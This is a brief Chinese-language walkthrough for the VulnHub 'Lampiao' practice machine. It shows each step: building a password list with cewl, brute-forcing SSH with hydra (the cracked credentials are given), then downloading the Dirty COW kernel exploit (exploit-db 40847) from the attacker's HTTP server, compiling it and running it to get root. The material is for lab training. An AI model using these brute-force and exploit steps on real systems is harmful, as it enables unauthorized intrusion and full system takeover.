提权思路
靶机环境:https://download.vulnhub.com/lampiao/Lampiao.zip
1、暴力破解ssh
配合rewl爬取网站页面信息生成密码字典
1.爆破登录tiago
cewl http://192.168.43.247:1898/?q=node/1 -w pass.txt hydra -l tiago -P pass.txt 192.168.43.247 ssh
ssh tiago@192.168.43.247 --密码 Virgulino
2.kali使用dirtycow脏牛漏洞
root@kali:searchsploit dirty
选择linux/local/40847.cpp
root@kali: cp /usr/share/exploitdb/exploits/linux/local/40847.cpp ./
//注意 python2.7版本的是 python -m SimpleHTTPServer 9999
//kali 开启http服务
root@kali: python3 -m http.server 9999
3.tiago用户下载40847.cpp
tiago@lampiao: wget 192.168.43.101:9999/40847.cpp
tiago@lampiao: g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
tiago@lampiao: ./40847
4.提权完成
2、登录数据库(如mysql)修改用户密码
参考链接完成的实验:https://www.dounaite.com/article/6264a6287b5653d739b15f83.html